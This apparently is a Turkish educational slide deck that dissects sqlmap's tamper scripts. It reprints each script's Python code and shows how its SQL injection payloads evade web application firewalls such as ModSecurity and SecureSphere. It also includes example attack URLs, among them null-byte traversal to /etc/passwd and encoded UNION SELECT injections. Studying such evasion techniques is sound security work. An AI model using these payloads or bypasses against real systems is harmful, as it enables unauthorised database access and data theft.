40
SQLMAP Bypass DEŞİFRE 20.08.2014 [email protected] Fikir görüş öneri için ulaşmanız yeterlidir.

Sqlmap Analiz

Embed Size (px)

DESCRIPTION

Sqlmap Bypass 'larının nasıl çalıştıgı anlatılmıştır.Sorusu olan email adresinden ulaşabilir.

Citation preview

Page 1: Sqlmap Analiz

SQLMAP Bypass DEŞİFRE 20.08.2014

[email protected]

Fikir görüş öneri için ulaşmanız yeterlidir.

Page 2: Sqlmap Analiz

apostrophemask.py apostrophenullencode.py

appendnullbyte.py base64encode.py

between.pybluecoat.py

chardoubleencode.py charencode.py

charunicodeencode.py concat2concatws.py

equaltolike.py greatest.py

halfversionedmorekeywords.py ifnull2ifisnull.py

lowercase.py modsecurityversioned.py

modsecurityzeroversioned.py multiplespaces.py

nonrecursivereplacement.py percentage.py

randomcase.py randomcomments.py

securesphere.pysp_password.py

space2comment.py space2dash.py space2hash.py

space2morehash.py space2mssqlblank.py space2mssqlhash.py

space2mysqlblank.py space2mysqldash.py

space2plus.py space2randomblank.py

unionalltounion.py unmagicquotes.py

varnish.py versionedkeywords.py

versionedmorekeywords.py

KONU BAŞLIKLARI

Page 3: Sqlmap Analiz

1)apostrophemask.py#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies(): pass

def tamper(payload, **kwargs): return payload.replace('\'', "%EF%BC%87") if payload else payload

>>> tamper("1 AND '1'='1") #Bypass edilmemiş haldeki kodumuz bu >>>' 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 ' #Bypass yapıldıktan sonraki hali

Payload satırı ; return payload.replace('\'', "%EF%BC%87") if payload else payload

2)apostrophenullencode.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies(): pass

def tamper(payload, **kwargs): return payload.replace('\'', "%00%27") if payload else payload

Adındanda anlaşışdıgı gibi nullencode yani boş veri araya sokuyor burada bahsedilen boşveri %00.Devamında gelen %27 ise ' (tırnak) ifadesi.

>>> tamper("1 AND '1'='1")>>>' 1 AND %00%271%00%27=%00%271 '

Payload satırı ; return payload.replace('\'', "%00%27") if payload else payload

Scriptin görevi tırnak olan kısımları alıp yerine %EF%BC%87 payloadını koyarak bypass işlemini gerçekleştirmek.

Page 4: Sqlmap Analiz

3)appendnullbyte.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies(): pass

def tamper(payload, **kwargs): return "%s%%00" % payload if payload else payload

Kodlara baktından sonra aklınızda oluşanları az çok tahmin ediyorum onun için geliştiriciler tarafından bırakılan bi notu gösterelim.

- Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible.

Bir önceki bypass scriptimize benzer ama daha basit bi versiyonu.Peki diyeceksiniz ki bu kadar basit birpayload işe yarar mı ?

Kendi referans aldıkları websitesi bu http://projects.webappsec.org/w/page/13246949/Null-Byte-Injectionİçine biraz bakalım ..

Exploitation:

Normal Mode: http://www.example.host/read.pl?page=userphoto.jpgAttacking Mode: http://www.example.host/read.pl?page=../../../../etc/passwd%00jpg

Exploitation:

Normal Mode: http://www.example.host/mypage.jsp?fn=report.dbAttacking Mode: http://www.example.host/mypage.jsp?fn=serverlogs.txt%00.db

Bunlara baktıktan sonra kafanıza tam oturmuştur diye tahmin ediyorum.Yani mevcut açık nullbyte'tan sonraki kısımları yok sayıyor bizde bu sayede kodlarımızı rahatça okutabiliyoruz anlamına geliyor.Tabikibasit mi ? basit.Ancak açıgın basit olması tehlike seviyesini azaltmıyor ..

Nullbyte hakkında daha fazla bilgi için ;

* http://php.net/manual/en/security.filesystem.nullbytes.php* http://en.wikipedia.org/wiki/Null_character* https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Null_Byte_Injection* http://security.stackexchange.com/questions/48187/null-byte-injection-on-php

Page 5: Sqlmap Analiz

4)base64encode.py

#!/usr/bin/env python

import base64

from lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies(): pass

def tamper(payload, **kwargs): return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

>>> tamper("1' AND SLEEP(5)#")>>>' MScgQU5EIFNMRUVQKDUpIw== '

Görmüş oldugunuz gibi python kütüphanesinde hazır halde bulunan "base64" modül ile tek satırda bypass işlemini kolaylıkla gerçekleştirebiliyoruz.Ama bundan önce base64 nedir onu açıklıyalım ;

Vikipedi

Base64 ikili verilerin (İngilizce: binary data) sadece ASCII karakterlerini kullanan ortamlarda iletilmesine ve saklanmasına olanak tanıyan bir kodlama şemasıdır.Kodlama sırasında 3 baytlık veriler 6 bitlik dörtlü gruplara dağıtılırlar. Her bir 6 bitlik grup 0 ile 63 arasında bir sayı oluşturur (26=64).

Mesela şöyle diyelim internet ortamında büyük ihtimal görmüssünüzdür."SELECT" yazdıgınızdaforbidden ile karşılaşıtıgımız durmunlar olur.

Örnekle açıklayalım ;

site.com/index.php?id=5+union <-- union yazdıgımız sorun yok .

site.com/index.php?id=5+union+select <-- forbiddenhatası ile karşılaştık.Base64 encode burada devreye giriyor.

site.com/index.php?id=5K3VuaW9uK3NlbGVjdA== bu şekilde bypass edilerek hatayı geçme şansımız doguyor.

Page 6: Sqlmap Analiz

5)between.py

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)

if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload)

if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload)

if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _)

return retVal

Sadece karışık gözüktügüne emin olabilirsiniz.İşlevi şu şekilde açıklanmış.

Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' Replaces equals operator ('=') with 'BETWEEN # AND #'

Aslında basit degilmi ?

>>> tamper('1 AND A > B--')>>>'1 AND A NOT BETWEEN 0 AND B--'>>> tamper('1 AND A = B--')>>> '1 AND A BETWEEN B AND B--'

Bypass çeşitleri oldukça fazla olan sqlmap aslında profesyonel şekilde kullanırsa ne kadar faydalı olabilecegini görüyorsunuz .. Ama tabiki daha yeni başlıyoruz !

Page 7: Sqlmap Analiz

6)bluecoat.py

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>%09", payload) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

return retVal

>>> tamper('SELECT id FROM users where id = 1')>>>'SELECT%09id FROM users where id LIKE 1'

Aslında kodlar gördügünüz gibi standart modüller payload çevirisi yapan kodumuz ise en fazla 5-6 satır oluyor. Geliştirici notlarını gene paylaşalım ;

Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator.

Aslında bunlar basit bypasslar gibi görünsede hepsi %100 test edilmiştir.

Referans olarak ;https://kb.bluecoat.com/index?page=content&id=FAQ2147

Şuana kadar gördügünüz kodları herhangibi bir programlama diline aşinaysanız veya python biliyorsanız biraz dikkat ile hepsini anlayabilirsiniz.

bluecoat bypass scritimizin test edildigi ortam ; Tested against:

* MySQL 5.1, SGOS

Bu kadar bypassı sizin için yapması zamandan tasarruf açısından çok iyi olsada şuanda yaptıgımız gibi içini bilmedigimiz sürece hiçbirşey ögrenemeyiz o yüzden biraz daha dikkatinizi vermenizi istiyorum.Uzun bir yazı dizisi olacak.

Page 8: Sqlmap Analiz

7)chardoubleencode.py

#!/usr/bin/env python

import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: retVal = "" i = 0

while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) i += 1

return retVal

>>> tamper('SELECT FIELD FROM%20TABLE')>>>'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'

Açıklamayı alalım hemen ;Double url-encodes all characters in a given payload (not processing

already encoded)

Url encode işlemi ile bypasslamak için yapılmış olan bu script açıklamadada yazdıgı gibi 2 kez üst üste encode işlemi ile bypass işlemini gerçekleştiriyor.Ancak açıklamadaki bu kısmın anlattıgı "not processing already encoded" yani eger ki encode edilmiş ise o kısım birdaha encode edilmez.Bunun içinde biraz karmaşık bir mantıkla kodlanmıştır kodlar.Normalde python hazır modüllerini kullanak bunu yapmak mümkün ;

>>> import urllib>>> params= {'q': q.encode('utf-8')}>>> 'http://www.test.com/?'+urllib.urlencode(params)>>> 'http://www.test.com/?q=%C3%A6%C3%B8%C3%A5'

Şeklinde yapabiliriz.

Page 9: Sqlmap Analiz

8)charencode.py

#!/usr/bin/env python

import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: retVal = "" i = 0

while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += '%%%.2X' % ord(payload[i]) i += 1

return retVal

>>> tamper('SELECT FIELD FROM%20TABLE')>>>'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'

İlk önce zaten doubleencode scriptimizi görmüştük.Buda charencode yani sadece bir kere encode işlemini yapıyor.

Test edilen ortamlar :* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5* Oracle 10g* PostgreSQL 8.3, 8.4, 9.0

Burada ord ord(payload[i]) üzerinde biraz duralım kafanız karışmış olabilir.Ord'un işlevi string ifadelerinasci karşılıklarını almaktır.

>>> string=’Hello World’>>> list_ascii=[ord(i) for i in string]>>> print list_ascii>>>[72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]

Page 10: Sqlmap Analiz

9)charunicodeencode.py

#!/usr/bin/env python

import osimport string

from lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessage

__priority__ = PRIORITY.LOWEST

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])

def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0

while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '%%u%.4X' % ord(payload[i]) i += 1

return retVal

>>> tamper('SELECT FIELD%20FROM TABLE')>>> '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'

Gerekli sistemler :* ASP* ASP.NET

Buradaki kod blogundanda anlayabiliriz :

singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])

Önceki scriptimiz char ile encode ediyordu.Bu scriptimiz ise char+unicode ile encode ederek bypass işlemini yapıyor.

Unicode nedir derseniz --> http://tr.sercanulucan.com/unicode-utf-8-ve-python/ Python & Unicode ilişkisini ayrıntılı bir şekilde anlatan bi arkadaşımız mecvut okumanızı tavsiye ederim.

Page 11: Sqlmap Analiz

10)equaltolike.py

#!/usr/bin/env python

import osimport re

from lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))

def tamper(payload, **kwargs):

def process(match): word = match.group() word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "")

return word

retVal = payload

if payload: retVal = re.sub(r"\s*=\s*", lambda match: process(match), retVal)

return retVal

>>> tamper('SELECT * FROM users WHERE id=1')>>>'SELECT * FROM users WHERE id LIKE 1'

Bu sefer basit bir bypass scripti ile karşı karşıyayız.

Replaces all occurances of operator equal ('=') with operator 'LIKE'

Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5

Notes:* Useful to bypass weak and bespoke web application firewalls thatfilter the equal character ('=')

* The LIKE operator is SQL standard. Hence, this tamper scriptshould work against all (?) databases

Görüldügü gibi = yerine LIKE ile degiştirip bypass işlemini gerçekleştiriyor.

Page 12: Sqlmap Analiz

11)greatest.py

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)

if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) retVal = retVal.replace(match.group(0), _)

return retVal

>>> tamper('1 AND A > B')>>> '1 AND GREATEST(A,B+1)=A'

Geliştiricilerin açıklaması:Replaces greater than operator ('>') with 'GREATEST' counterpart

Tested against:* MySQL 4, 5.0 and 5.5* Oracle 10g* PostgreSQL 8.3, 8.4, 9.0

Gördügünüz gibi her scriptin içinde geliştirici açıklamaları ve test edilme ortamları mevcut.Bu demektir kihiçbirşey tahmini degerler üzerine gerçekleştirilmiyor.Yani siz ne kadar ararsanız geliştiricilerde bunları o kadar arıyor.

* The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases

Page 13: Sqlmap Analiz

12)concat2concatws.py

#!/usr/bin/env python

"""Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies(): pass

def tamper(payload, **kwargs): if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

return payload

""" Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

Requirement:* MySQL

Tested against:* MySQL 5.0

Notes:* Useful to bypass very weak and bespoke web application firewalls

that filter the CONCAT() function """>>> tamper('CONCAT(1,2)')>>>'CONCAT_WS(MID(CHAR(0),0,0),1,2)'

Kodların işlevini bir bakışta anlamanız çok normal.Çünkü artık olayların mantıgını kavramaya başladınız.Aslında bütün açıklama tek cümle ile verilmiş:

Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

Çok zayıf firewall olan sistemler için yapılmış bir bypass scripti.Sadece mysql üzerinde etkili.

Page 14: Sqlmap Analiz

13)halfversionedmorekeywords.py

#!/usr/bin/env python

import osimport re

from lib.core.common import singleTimeWarnMessagefrom lib.core.data import kbfrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITYfrom lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!0%s" % word) else: return match.group()

retVal = payload

if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0")

return retVal

>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")

>>>"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Biraz karısık bir bypass gibi görünsede aslında degil.Value degerine takılmanıza gerek yok.Örnek verecek olursam :

site.com/index.php?id=5 buradaki " 5 " value degeridir.

Scriptte çok fazla regex kullanımı karısık görünsede örnek aslında durumu özetiliyor.Kelimeler üzerinde oynama yapılmıyor bu scriptte.

/*!0 her komutun önüne geçerek sql komutlarımızı mevcut hedef üzerinde çalıştırmamıza olanak saglıyor.

Page 15: Sqlmap Analiz

14)lowercase.py

#!/usr/bin/env python

import re

from lib.core.data import kbfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies(): pass

def tamper(payload, **kwargs):

retVal = payload

if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group()

if word.upper() in kb.keywords: retVal = retVal.replace(word, word.lower())

return retVal

>>> tamper('INSERT')>>> 'insert'

Biraz şaka gibi gelebilecek bir script .Büyük olan bütün harf&karakter i kücük olan degeriyle degiştiriyor.Şöylebir açıklama yapayım.Bu örnek ve önceki örnekler üzerinde olmak üzere tamper içinde yazan komutlar sabit olmayabilir.Yani örnekte verildi diye sadece o kelime&karakter&komut 'u bypasslıyor diye düşünmeyelim.Çünkü sql injection tek aşamalı bir işlem degildir.Her farklı istek için komut degişken olacagından örneklere baglı kalmamanız daha iyi olur.

Page 16: Sqlmap Analiz

15)varnish.py#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies(): pass

def tamper(payload, **kwargs):

headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload

Example :

>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A

Bu konu "Bypassing web application firewalls using HTTP headers" olarak geçiyor.HTTP headersları kullanarak kodlarını çalıştırmayı deniyor scriptimiz.HTTP headers konusu biraz geniş bir kavram yani sadecesql açıgıyla sınırlı degil.User agenti degiştirilerek yapılan saldırılarda mevcuttur.

Yukarıda gördügünüz gibi:GET /app?user='or'1'='1' ;-- HTTP/1.1 <-- GET methodu ile yapılan saldırı.POST / app?user=B3mB4m&password='&nickname=' <-- POST methodu ile yapılan saldırı.

Bunları hiç durmadan arttırabiliriz ama bizim konumuz sqlmap bypass umarım anlamıssınızdır.Devam ..

Page 17: Sqlmap Analiz

16)ifnull2ifisnull.pydef tamper(payload, **kwargs): if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None

for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break

return payload

>>> tamper('IFNULL(1, 2)')>>>'IF(ISNULL(1),2,1)'

Aslında kodları örnekler tamamen açıklasada geliştiricilerimizin şu açıklamasına bakalım : *Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'*

* Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function*

Bunlar " Useful to bypass very weak" kısmından anlaşılacagı üzere basit firewallları geçmek için oluşturulmuşscriptler.Ancak burada bypass çeşitliligi çok fazla oldugundan ve python 'un esnekligi ile birleştirdiginde hızlı ve kullanım basitligi kendisini vazgeçilmez bir script yapıyor.

Peki neden basit dedim? Aslında şuana kadar görmüş oldugunuz her scriptin işlevi hemen hemen aynı.Bypass edilmemiş kod çalışmaz ise bypass scriptlerini devreye sok ve veriyi çek.

Page 18: Sqlmap Analiz

17)modesecurityversioned.py

#!/usr/bin/env python

from lib.core.common import randomIntfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHER

def dependencies(): pass

def tamper(payload, **kwargs):

retVal = payload

if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

return retVal

>>> tamper('1 AND 2>1--')>>>'1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against: * MySQL 5.0

Notes: * Useful to bypass ModSecurity WAF/IDS

Bu bypass firewall çok iyi olmadıgı sürece %60 -70'lere varan başarı saglar.

if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

Yukarıdaki kodumuz bütün bypass işlemini gerçekleştiren kısım.Şu şekilde mantıkla ilerliyor eger içinde şu varsa şununla degiştir.Python internet işlemleri çok basit halledildiginden bu basitlikten sonuna kadar faydalanmayı başarmış nadir scriptlerdendir SQLMAP.

Page 19: Sqlmap Analiz

18)modesecurtiyzeroversioned.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHER

def dependencies(): pass

def tamper(payload, **kwargs):

retVal = payload

if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)

return retVal

>>> tamper('1 AND 2>1--')>>>'1 /*!00000AND 2>1*/--'

Bir önceki bypass scriptimizin farklı bir versiyonu diyebiliriz.

if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)

Aslında bütün olay son satırda bitiyor.

for comment in ('#', '--', '/*'):

Bahsettigim içinde şunlar varsa şunu yap mantıgı buradan itibaren başlıyor. "1 AND 2>1--"

Gördügünüz gibi " -- " içinde mevcut buna göre script devreye giriyor ve bypass işlemini gerçekleştiriyor.

Page 20: Sqlmap Analiz

19)multispaces.py

#!/usr/bin/env python

import randomimport re

from lib.core.data import kbfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: words = set()

for match in re.finditer(r"[A-Za-z_]+", payload): word = match.group()

if word.upper() in kb.keywords: words.add(word)

for word in words: retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal)

return retVal

>>> tamper('1 UNION SELECT foobar')>>>'1 UNION SELECT foobar'

Adındanda anlaşıldıgı gibi bypass 'ı boşuklar bırakarak yapmaya çalısıyor.

""" Adds multiple spaces around SQL keywords

Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions

Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt #Referans'ı bi okumanızı tavsiye ederim."""

Page 21: Sqlmap Analiz

20)nonrecursiveplacement.py

#!/usr/bin/env python

import randomimport re

from lib.core.common import singleTimeWarnMessagefrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs): keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") retVal = payload

warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) warnMsg += "You can set it manually according to your needs" singleTimeWarnMessage(warnMsg)

if payload: for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)

return retVal

>>> tamper('1 UNION SELECT 2--')>>>'1 UNIOUNIONN SELESELECTCT 2--'

Bu bypass çeşidini açıklamakta fayda var.Mesela: UNION <-- yazdıgınızda sayfa sizi ana sayfaya yönlendiriyor. SELECT <-- yazdıgınızda gene ana sayfaya yönlendiriyor.

Yani bu demektir ki bazı komutlara karşı önlemler alınmış.Peki bu bypass ne yapıyorda geçiyor diye düşünebilirsiniz.

UNIOUNIONN <-- UNION tekrar yönlendirme alacagınızı biliyorsunuz.Yani sayfa UNION 'u silecek ve sizi ana sayfaya atacak. UNIOUNIONN <-- Buradan UNION kısmını çıkarınca dikkat ederseniz UNI-UNION-ON <--bunun dönecegi şey tekrar UNION olacak sayfa bizi yönlendirmeyecek komutumuz işleme girecek demektir.Aynı işlem SELECT komutu içinde yapılınca ilk önce verdigimiz komutlar engellense bile firewall'ın önlemini kendisine karşı tekrar kullanmış olucaz.

Page 22: Sqlmap Analiz

21)percentage.py

#!/usr/bin/env python

import osimport string

from lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessage

__priority__ = PRIORITY.LOW

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0])

def tamper(payload, **kwargs):

if payload: retVal = "" i = 0

while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] i += 1 else: retVal += payload[i] i += 1

return retVal

>>> tamper('SELECT FIELD FROM TABLE')>>>'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'

*Adds a percentage sign ('%') infront of each character*

Direk olarak kelime engelleri olan bir önceki scripttede anlattıgım gibi engelleri geçmek için yapılmış bir scriptimiz.

Requirement: * ASP

Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0

Page 23: Sqlmap Analiz

22)randomcase.py

#!/usr/bin/env python

import re

from lib.core.common import randomRangefrom lib.core.data import kbfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group()

if word.upper() in kb.keywords: _ = str()

for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

retVal = retVal.replace(word, _)

return retVal

Replaces each keyword character with random case value

Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 *Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

>>> tamper('INSERT')>>>'INseRt'

Bu bypass çeşidini web güvenlik açıklarına ilgisi olan hemen hemen herkez duymuştur diye tahmin ediyorum.PHP'de direk olarak kelime engellerini aşmak için komutu bilinen standartın dışında yazmaya çalısıyoruz.Örnege eklemeler yapacak olursak :

ıNSert InSeRT INSert ınsERt

Page 24: Sqlmap Analiz

23)randomcomments.py

#!/usr/bin/env python

import re

from lib.core.common import randomRangefrom lib.core.data import kbfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):

retVal = payload

if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group()

if len(word) < 2: continue

if word.upper() in kb.keywords: _ = word[0]

for i in xrange(1, len(word) - 1): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i])

_ += word[-1]

if "/**/" not in _: index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:]

retVal = retVal.replace(word, _)

return retVal

>>> tamper('INSERT')>>>'I/**/N/**/SERT'

"Add random comments to SQL keywords"

Yaptıgı şey tam anlamıyla üstteki yorumun aynısı.SQL komutunu seçer ve /**/ <-- eklemeleri yapar.Comments dedigi budur yani --> /**/ .

IN/**/SER/**/T IN/**/SE/**/RT I/**/NSE/**/T gibi random olarak bypass işlemini gerçekleştirir.

Page 25: Sqlmap Analiz

24)securesphere.py#!/usr/bin/env python

"""Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies(): pass

def tamper(payload, **kwargs): """ Appends special crafted string

Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: http://seclists.org/fulldisclosure/2011/May/163

"""

return payload + " and '0having'='0having'" if payload else payload

>>> tamper('1 AND 1=1')>>>"1 AND 1=1 and '0having'='0having'"

Bu bypass referansta verildigi gibi 2011 yılında bulunmuştur.Referansı biraz inceleyerek yorum yapacak olursak.

[Vulnerability Details] the vector: 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' won't be classified as malicious and will bypass the SQL Injection filter. [Summary] Due to a typo in one of the rules of the sql injection engine the WAF can be bypassed by appending a specially crafted string.

